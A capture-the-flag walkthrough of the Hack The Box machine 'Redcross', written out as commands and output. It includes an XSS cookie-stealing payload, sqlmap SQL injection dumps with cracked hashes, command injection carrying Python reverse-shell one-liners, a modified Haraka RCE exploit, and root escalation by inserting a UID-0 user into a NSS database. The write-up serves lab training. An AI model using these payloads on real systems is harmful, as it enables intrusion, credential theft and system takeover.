Redcross - Hack The Box

Redcross has a bit of everything: Cross-Site Scripting, a little bit of SQL injection, reviewing C source code to find a command injection vulnerability, light exploit modification and enumeration.

Quick summary

  • XSS on contact form to get admin cookie
  • SQLi to get user creds (rabbit hole, credentials are not useful)
  • Find admin.redcross.htb sub-domain page
  • Log in to admin page using admin session cookie we stole with XSS
  • Create a shell account, log in to restricted shell, get source code of binary
  • Command injection in firewall control module, get reverse shell as www-data
  • Locate Haraka installation, use and modify exploit from exploit-db, gain shell as user penelope
  • Get DB connection string from /etc/nss-pgsql.conf, create new user with GID 0
  • Read /etc/nss-pgsql-root.conf, locate new DB connection string
  • Create new user user with UID and GID 0, su to new user and gain root access

Tools/Exploits/CVEs used


Only SSH and web ports are open:

root@ragingunicorn:~# nmap -F
Starting Nmap 7.70 ( ) at 2018-11-10 14:19 EST
Nmap scan report for
Host is up (0.019s latency).
Not shown: 97 filtered ports
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Intra webpage

http://redcross.htb redirects to https://intra.redcross.htb/?page=login so we need to add that to our local hostfile.

The main page contains a simple login form:

At first glance, the login form doesn’t appear to be vulnerable to SQL injections but after trying a few user/password combinations, we are able to log in with the guest/guest credentials and we see the following message:

So we know there’s at least two users: admin and guest.

Because this is a messaging application, we can assume that admin will be checking messages periodically so we will try to get the admin session cookie with an XSS. Back on the main page, there is a contact form we can use to send messages to the administrator.

The first two fields subject and body don’t appear to be vulnerable to XSS because the input is filtered. We get the following error message when we try to inject stuff like <script>....: Oops! Someone is trying to do something nasty...

But the last field, cbody is not filtered and accepts any characters we send.

To test the XSS, we’ll try a very simple payload that’ll create an image on the page pointing to our attacker machine. The request will contain the document.cookie which hopefully contains the session cookie.

Payload: <script>var myimg = new Image(); myimg.src = '' + document.cookie;</script>

After a minute or so, we can see an incoming HTTP request made to our webserver, containg the admin session cookie:

root@ragingunicorn:~# python -m SimpleHTTPServer 80
Serving HTTP on port 80 ... - - [11/Nov/2018 12:00:47] code 404, message File not found - - [11/Nov/2018 12:00:47] "GET /q?=PHPSESSID=8e2u3570ceoa9vk2vofvgnibv3;%20LANG=EN_US;%20SINCE=1541955270;%20LIMIT=10;%20DOMAIN=admin HTTP/1.1" 404 -

Using Firefox’s web developer tools, we can simply change the cookies and add all four values into our session, then hit refresh on the main page to log in as admin.

SQL injection on the web messaging app

Based on the messages we see, we find the following users created in the database/system:

  • admin
  • penelope
  • charles
  • guest

Two parameters are vulnerable to SQL injections:

  1. o parameter in GET /?o=2&page=app


GET /?o=2'&page=app HTTP/1.1

DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1' or dest like '2'') LIMIT 10' at line 1
  1. LIMIT cookie in GET /?o=2&page=app


Cookie: domain=admin; lang=EN_US; PHPSESSID=8e2u3570ceoa9vk2vofvgnibv3; LIMIT=10'

DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1

Our best bet is to try to exploit the o parameter as exploiting the LIMIT cookie will be more difficult since we can’t do UNION SELECT after a LIMIT statement. We might be able to do something with PROCEDURE ANALYSE but since the box is rated medium/hard, I didn’t think this was going to be it.

The first thing we notice with sqlmap is it kills the webserver pretty quickly, so I assumed there is some kind of WAF rate-limiting the connections to the server. If we wait a bit, we are able to access the server again.

To use sqlmap, we will need to change the delay parameter to 1 second. It takes a long time but sqlmap eventually find the injection point:

root@ragingunicorn:~# sqlmap -r login.req --risk=3 -p o --dbms=mysql --random-agent --delay=1 --technique=UE
[13:00:14] [INFO] parsing HTTP request from 'login.req'
[13:00:14] [INFO] fetched random HTTP User-Agent header value 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.02' from file '/usr/share/sqlmap/txt/user-agents.txt'
[13:00:14] [INFO] testing connection to the target URL
sqlmap got a 301 redirect to 'https://intra.redcross.htb/?o=2&page=app'. Do you want to follow? [Y/n] y
[13:00:17] [INFO] heuristic (basic) test shows that GET parameter 'o' might be injectable (possible DBMS: 'MySQL')
[13:00:18] [INFO] heuristic (XSS) test shows that GET parameter 'o' might be vulnerable to cross-site scripting (XSS) attacks
[13:00:18] [INFO] testing for SQL injection on GET parameter 'o'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) value? [Y/n] 
[13:00:19] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[13:00:20] [WARNING] reflective value(s) found and filtering out
[13:01:17] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[13:02:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[13:03:11] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[13:04:08] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[13:05:04] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[13:06:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[13:06:20] [INFO] GET parameter 'o' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
[13:06:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:06:20] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[13:06:20] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[13:06:42] [INFO] target URL appears to be UNION injectable with 4 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] 
[14:12:39] [INFO] testing 'MySQL UNION query (63) - 21 to 40 columns'
[14:13:03] [INFO] testing 'MySQL UNION query (63) - 41 to 60 columns'
[14:13:28] [INFO] testing 'MySQL UNION query (63) - 61 to 80 columns'
[14:13:53] [INFO] testing 'MySQL UNION query (63) - 81 to 100 columns'
[14:14:19] [WARNING] parameter length constraining mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected
GET parameter 'o' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 469 HTTP(s) requests:
Parameter: o (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: o=2') AND (SELECT 6000 FROM(SELECT COUNT(*),CONCAT(0x71717a7671,(SELECT (ELT(6000=6000,1))),0x716a767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- scxH&page=app
[14:33:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0
[14:33:52] [INFO] fetched data logged to text files under '/root/.sqlmap/output/intra.redcross.htb'

[*] shutting down at 14:33:52

Listing databases: sqlmap -r login.req --risk=3 -p o --dbms=mysql --random-agent --delay=1.0 --technique=UE -T users --dbs

[14:38:26] [INFO] used SQL query returns 2 entries
[14:38:27] [INFO] retrieved: information_schema
[14:38:28] [INFO] retrieved: redcross
available databases [2]:
[*] information_schema
[*] redcross

Listing tables from redcross DB: sqlmap -r login.req --risk=3 -p o --dbms=mysql --random-agent --delay=1.0 --technique=UE -D redcross --tables

[14:38:41] [INFO] retrieved: messages
[14:38:42] [INFO] retrieved: requests
[14:38:44] [INFO] retrieved: users
Database: redcross
[3 tables]
| messages |
| requests |
| users    |

Dumping list of users: sqlmap -r login.req --risk=3 -p o --dbms=mysql --random-agent --delay=1.0 --technique=UE -D redcross -T users --dump

Database: redcross
Table: users
[5 entries]
| id | role | mail                         | username | password                                                     |
| 1  | 0    | admin@redcross.htb           | admin    | $2y$10$z/d5GiwZuFqjY1jRiKIPzuPXKt0SthLOyU438ajqRBtrb7ZADpwq. |
| 2  | 1    | penelope@redcross.htb        | penelope | $2y$10$tY9Y955kyFB37GnW4xrC0.J.FzmkrQhxD..vKCQICvwOEgwfxqgAS |
| 3  | 1    | charles@redcross.htb         | charles  | $2y$10$bj5Qh0AbUM5wHeu/lTfjg.xPxjRQkqU6T8cs683Eus/Y89GHs.G7i |
| 4  | 100  | | tricia   | $2y$10$Dnv/b2ZBca2O4cp0fsBbjeQ/0HnhvJ7WrC/ZN3K7QKqTa9SSKP6r. |
| 5  | 1000 | non@available                | guest    | $2y$10$U16O2Ylt/uFtzlVbDIzJ8us9ts8f9ITWoPAWcUfK585sZue03YBAi |

The password are stored with the bcrypt password hashing function, which is very slow to brute force. After letting hashcat (hashcat -a 0 -m 3200) run for some time I was able to recover the following hashes:

  • guest / guest
  • penelope / alexx
  • charles / cookiemonster

None of them work to log in with SSH but we are able to see a few additional messages when logging in with the web messaging application.

Please could you check the admin webpanel? idk what happens but when I’m checking the messages, alerts popping everywhere!! Maybe a virus?

Hey, my chief contacted me complaining about some problem in the admin webapp. I thought that you reinforced security on it… Alerts everywhere!!

That may be a hint there is another hidden page/sub-domain…

Admin web page

There’s another host admin.redcross.htb that displays a totally different application:

The same cookie we stole from the admin can be used here to log in:

Under the user management menu, we can see and add users to the system:

We can SSH with the new user we created:

root@ragingunicorn:~# ssh snowscan@
snowscan@'s password: 
Linux redcross 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
$ ls
bin  dev  etc  home  lib  lib64  root  usr
$ id
uid=2020 gid=1001(associates) groups=1001(associates)

This is some kind of chroot jail, there’s not much we can do here. However we do find a single C source file: iptctl.c

$ pwd
$ cat iptctl.c 
 * Small utility to manage iptables, easily executable from admin.redcross.htb
 * v0.1 - allow and restrict mode
 * v0.3 - added check method and interactive mode (still testing!)

The file contains the program code that is called by the firewall management application on the admin page:

Whenever we add/delete an IP from the firewall ACL’s, the PHP code does a system() call to run the iptctl application and make changes to the firewall rules. If we add a semi-colon in the id parameter we are able to inject commands and gain code execution.

Example payload like the following: ip=1;id&action=deny

Usage: /opt/iptctl/iptctl allow|restrict|show IP
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Since we now have RCE, we can use a standard python reverse shell command to get shell on the system.

Payload: ip=1;python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("",4444))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)["/bin/sh","-i"])%3b'&action=deny

And we get a shell!

root@ragingunicorn:~/hackthebox/Machines/Redcross# nc -lvnp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 51712
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ hostname
www-data@redcross:/home/penelope$ ls -l 
ls -l 
total 8
drwxrwx--- 6 penelope mailadm  4096 Jun  7 17:59 haraka
-rw-r----- 1 root     penelope   33 Jun  7 18:18 user.txt
www-data@redcross:/home/penelope$ cat user.txt
cat user.txt
cat: user.txt: Permission denied

We still can’t read user.txt since it’s owned by penelope… Gotta try harder I guess.

Priv esc to penelope

Penelope’s home directory contains the haraka directory. Haraka is an SMTP email server written in Node.js and contains at least one vulnerability according to Exploit-DB:

Haraka < 2.8.9 - Remote Command Execution
Shellcodes: No Result

The server is running but doesn’t appear to be listening on port 25:

www-data@redcross:/home/penelope$ ps waux | grep haraka
ps waux | grep haraka
penelope  1199  0.0  1.9 994608 20068 ?        Ssl  09:47   0:02 node /usr/bin/haraka -c /home/penelope/haraka
www-data@redcross:/home/penelope$ telnet 25
telnet 25
telnet: Unable to connect to remote host: Connection refused
www-data@redcross:/home/penelope$ netstat -panut
netstat -panut
bash: netstat: command not found

Netstat is not installed so I went back to the firewall control page added a whitelist entry for my IP address and scanned the box again with nmap:

root@ragingunicorn:~# nmap -p-
Starting Nmap 7.70 ( ) at 2018-11-11 15:18 EST
Nmap scan report for intra.redcross.htb (
Host is up (0.018s latency).
Not shown: 65529 closed ports
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
443/tcp  open  https
1025/tcp open  NFS-or-IIS
5432/tcp open  postgresql

1025 looks interesting but we can’t connect to it with telnet:

root@ragingunicorn:~# telnet 25
telnet: Unable to connect to remote host: Connection refused

We can connect locally though:

root@ragingunicorn:~# nc -lvnp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 52064
/bin/sh: 0: can't access tty; job control turned off
$ telnet 1025
Connected to
Escape character is '^]'.
220 redcross ESMTP Haraka 2.8.8 ready

The exploit needs to be modified slightly because the port is hardcoded and needs to be changed to 1025.

Line 123 needs to be changed to the following:

s = smtplib.SMTP(mailserver,1025)

We can use vi to create the exploit .py file in /dev/shm, then execute it to spawn a reverse shell:

Note: The email address must contain the redcross.htb domain.

www-data@redcross:/dev/shm$ ./ -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);[\"/bin/sh\",\"-i\"]);'" -t penelope@redcross.htb -f penelope@redcross.htb -m redcross
htb -m redcrossn/sh\",\"-i\"]);'" -t penelope@redcross.htb -f penelope@redcross.h
##     ##    ###    ########     ###    ##    ## #### ########  #### 
##     ##   ## ##   ##     ##   ## ##   ##   ##   ##  ##     ##  ##  
##     ##  ##   ##  ##     ##  ##   ##  ##  ##    ##  ##     ##  ##  
######### ##     ## ########  ##     ## #####     ##  ########   ##  
##     ## ######### ##   ##   ######### ##  ##    ##  ##   ##    ##  
##     ## ##     ## ##    ##  ##     ## ##   ##   ##  ##    ##   ##  
##     ## ##     ## ##     ## ##     ## ##    ## #### ##     ## #### 
-o- by Xychix, 26 January 2017 ---
-o- xychix [at] ---
-o- exploit haraka node.js mailserver <= 2.8.8 (with attachment plugin activated) --

-i- info: (the change that fixed this)

Send harariki to penelope@redcross.htb, attachment saved as, commandline: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);' , mailserver redcross is used for delivery
Content-Type: multipart/mixed; boundary="===============2632093882109835759=="
MIME-Version: 1.0
Subject: harakiri
From: penelope@redcross.htb
To: penelope@redcross.htb

Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

Content-Type: application/octet-stream; Name=""
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=""


[HARAKIRI SUCCESS] SMTPDataError is most likely an error unzipping the archive, which is what we want [plugin timeout]
root@ragingunicorn:~/hackthebox/Machines/Redcross# nc -lvnp 5555
listening on [any] 5555 ...
connect to [] from (UNKNOWN) [] 33380
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(penelope) gid=1000(penelope) groups=1000(penelope)
$ cat user.txt
cat: user.txt: No such file or directory
$ pwd
$ cd /home/penelope
$ cat user.txt

Priv esc to root

The NSS plugin is installed, so SSH can authenticate users from the postgresql database instead of /etc/passwd

$ cat nss-pgsql.conf
connectionstring        = hostaddr= dbname=unix user=unixnss password=fios@ew023xnw connect_timeout=1

We can’t read the other file though…

$ cat nss-pgsql-root.conf
cat: nss-pgsql-root.conf: Permission denied

With the credentials we can poke inside the database:

penelope@redcross:/etc$ psql -h -U unixnss -W unix
psql -h -U unixnss -W unix
Password for user unixnss: fios@ew023xnw

psql (9.6.7)
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type "help" for help.

unix=> \d
              List of relations
 Schema |     Name     |   Type   |  Owner   
 public | group_id     | sequence | postgres
 public | group_table  | table    | postgres
 public | passwd_table | table    | postgres
 public | shadow_table | table    | postgres
 public | user_id      | sequence | postgres
 public | usergroups   | table    | postgres
(6 rows)

Here we can see the user table in which the user we created resides:

unix=> select * from passwd_table;
select * from passwd_table;
 username |               passwd               | uid  | gid  | gecos |    homedir     |   shell   
 tricia   | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 |       | /var/jail/home | /bin/bash
 snowscan | $1$ANxI97CM$noo3OJtS7FevXzzfR//ih0 | 2020 | 1001 |       | /var/jail/home | /bin/bash
(2 rows)

We’ll try adding a new user with password yolo1234 and set it’s UID and GID to 0:

unix=> insert into passwd_table (username, passwd, uid, gid, homedir) values ('snowscan','$6$oTkOZvSm$T5279pL/85f822ryylJBp0kHgGRoELCHb4OOBtwmkWWxZ6re/Vlxx6UAzEdZxhzd/MbSyjR5Kp1x4rtNCgHsJ1',0,0,'/root');
ERROR:  permission denied for relation passwd_table

Too bad, this user doesn’t have access… But the web application probably has an account that has the correct rights to add users since we were able to create a user from the web interface earlier.

The /var/www/html/admin/pages/actions.php file contains the credentials we are looking for: unixusrmgr / dheu%7wjx8B&

	$dbconn = pg_connect("host= dbname=unix user=unixusrmgr password=dheu%7wjx8B&");
	$result = pg_prepare($dbconn, "q1", "insert into passwd_table (username, passwd, gid, homedir) values ($1, $2, 1001, '/var/jail/home')");
	$result = pg_execute($dbconn, "q1", array($username, $phash));
	echo "Provide this credentials to the user:<br><br>";
	echo "<b>$username : $passw</b><br><br><a href=/?page=users>Continue</a>";

Let’s try the same SQL query again with these credentials:

unix=> insert into passwd_table (username, passwd, uid, gid, homedir) values ('snowscan','$6$oTkOZvSm$T5279pL/85f822ryylJBp0kHgGRoELCHb4OOBtwmkWWxZ6re/Vlxx6UAzEdZxhzd/MbSyjR5Kp1x4rtNCgHsJ1',0,0,'/root');
ERROR:  permission denied for relation passwd_table

Ugh. Same problem again, let’s try adding a user without setting the UID, but only the GID:

unix=> insert into passwd_table (username, passwd, gid, homedir) values ('snowscan','$6$oTkOZvSm$T5279pL/85f822ryylJBp0kHgGRoELCHb4OOBtwmkWWxZ6re/Vlxx6UAzEdZxhzd/MbSyjR5Kp1x4rtNCgHsJ1',0,'/root');
ERROR:  duplicate key value violates unique constraint "passwd_table_username_key"
DETAIL:  Key (username)=(snowscan) already exists.
unix=> insert into passwd_table (username, passwd, gid, homedir) values ('snowscan2','$6$oTkOZvSm$T5279pL/85f822ryylJBp0kHgGRoELCHb4OOBtwmkWWxZ6re/Vlxx6UAzEdZxhzd/MbSyjR5Kp1x4rtNCgHsJ1',0,'/root');
unix=> select * from passwd_table;
 username  |                                               passwd                                               | uid  | gid  | gecos |    homedir     |   shell   
 tricia    | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp.                                                                 | 2018 | 1001 |       | /var/jail/home | /bin/bash
 snowscan  | $1$ANxI97CM$noo3OJtS7FevXzzfR//ih0                                                                 | 2020 | 1001 |       | /var/jail/home | /bin/bash
 snowscan2 | $6$oTkOZvSm$T5279pL/85f822ryylJBp0kHgGRoELCHb4OOBtwmkWWxZ6re/Vlxx6UAzEdZxhzd/MbSyjR5Kp1x4rtNCgHsJ1 | 2022 |    0 |       | /root          | /bin/bash
(3 rows)

Allright, we can log in now, but still don’t have access to read root.txt, we’ll need to have a UID of 0 to do that:

snowscan2@redcross:~$ ls -l
total 12
drwxr-xr-x  3 root root 4096 Jun  6 14:05 bin
drwxrwxr-x 11 root root 4096 Jun  7 17:32 Haraka-2.8.8
-rw-------  1 root root   33 Jun  8 06:51 root.txt
snowscan2@redcross:~$ cat root.txt
cat: root.txt: Permission denied

We can now read nss-pgsql-root.conf since we are part of root’s group and we find more credentials: unixnssroot / 30jdsklj4d_3

snowscan2@redcross:/etc$ ls -l nss-pgsql-root.conf
-rw-rw---- 1 root root 540 Jun  8 06:24 nss-pgsql-root.conf
snowscan2@redcross:/etc$ cat nss-pgsql-root.conf
shadowconnectionstring = hostaddr= dbname=unix user=unixnssroot password=30jdsklj4d_3 connect_timeout=1
shadowbyname = SELECT username, passwd, date_part('day',lastchange - '01/01/1970'), min, max, warn, inact, expire, flag FROM shadow_table WHERE username = $1 ORDER BY lastchange DESC LIMIT 1;
shadow = SELECT username, passwd, date_part('day',lastchange - '01/01/1970'), min, max, warn, inact, expire, flag FROM shadow_table WHERE (username,lastchange) IN (SELECT username, MAX(lastchange) FROM shadow_table GROUP BY username);

Using this account, we are able to create a new user with UID 0:

unix=> insert into passwd_table (username, passwd, uid,gid, homedir) values ('snowscan_root','$6$oTkOZvS...',0,0,'/root');
unix=> select * from passwd_table;
   username    |                                               passwd                                               | uid  | gid  | gecos |    homedir     |   shell   
 tricia        | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp.                                                                 | 2018 | 1001 |       | /var/jail/home | /bin/bash
 snowscan      | $1$ANxI97CM$NZZ3OJtS7FevXzzfR//ih0                                                                 | 2020 | 1001 |       | /var/jail/home | /bin/bash
 snowscan2     | $6$oTkOZvSm$T5279pL/85f822ryylJBp0kHgGRoELCHb4OOBtwmkWWxZ6re/Vlxx6UCzEdZxhzd/MbSy2R5Kp1x4rtNCgHsJ1 | 2022 |    0 |       | /root          | /bin/bash
 snowscan_root | $6$oTkOZvSm$T5279pL/85f822ryylJBp0kHgGRoELCHb4OOBtwmkWWxZ6re/Vlxx6UCzEdZxhzd/MbSy2R5Kp1x4rtNCgHsJ1 |    0 |    0 |       | /root          | /bin/bash
(4 rows)

We can’t SSH in with this account because of the SSH server settings:

snowscan2@redcross:/etc/ssh$ grep -i root sshd_config
PermitRootLogin prohibit-password

But we can su to the new user and get the root flag

snowscan2@redcross:/etc/ssh$ su -l snowscan_root

snowscan_root@redcross:~# id
uid=0(snowscan_root) gid=0(root) groups=0(root)

snowscan_root@redcross:~# cat /root/root.txt